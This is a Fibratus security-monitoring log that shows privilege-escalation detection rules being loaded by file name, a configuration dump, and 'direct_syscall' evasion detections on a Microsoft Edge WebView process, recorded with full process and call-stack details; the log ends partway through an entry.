source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:54:16+01:00 level=info msg=bootstrapping with pid 152. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:54:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true max-buffers=>36 flush-interval=>1s enable-mem=>true enable-audit-api=>true enable-net=>true enable-handle=>false stack-enrichment=>true enable-image=>true enable-thread=>true enable-threadpool=>false enable-vamap=>true enable-dns=>false min-buffers=>16 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ http=>[ timeout=>5s enabled=>false endpoints=>[] serializer=>json enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] amqp=>[ timeout=>5s delivery-mode=>transient exchange=>fibratus vhost=>/ exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false url=>amqp://localhost:5672 passive=>false enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-timeout=>5s timeout=>5s sniff=>false healthcheck=>true gzip-compression=>false trace-log=>false healthcheck-interval=>10s flush-period=>1s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-registry=>false enabled=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false excluded-procs=>[] fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:54:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:54:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:56:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T13:56:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:56:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:57:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:57:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:57:27+01:00 level=info msg=bootstrapping with pid 6264. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:57:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-registry=>true stack-enrichment=>true max-buffers=>36 enable-net=>true enable-mem=>true enable-vamap=>true flush-interval=>1s enable-thread=>true enable-dns=>false min-buffers=>16 enable-image=>true enable-handle=>false buffer-size=>512 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info max-age=>0 log-stdout=>true max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true timeout=>5s template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false vhost=>/ delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 passive=>false exchange=>fibratus enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json timeout=>5s enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false skip-files=>false excluded-files=>[] fastscan=>true skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:57:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:57:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:00:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3469975 + Pid: 5816 + Tid: 15600 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 13:59:51.2235395 +0100 CET + Params: base_address➜ 7ffea65b0000, checksum➜ 678716, default_address➜ 7ffea65b0000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5816, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 5816 + Ppid: 10508 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5816 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5816_TVMVJEWKRZXCIJBC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:341 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a3923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a38af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a3966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffec9a3a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffea525d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea525bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea525a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5266d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52706d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T14:00:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3470091 + Pid: 5816 + Tid: 16036 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 13:59:51.2633035 +0100 CET + Params: base_address➜ 7ffea62e0000, checksum➜ 879719, default_address➜ 7ffea62e0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5816, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 5816 + Ppid: 10508 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5816 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5816_TVMVJEWKRZXCIJBC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:341 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" 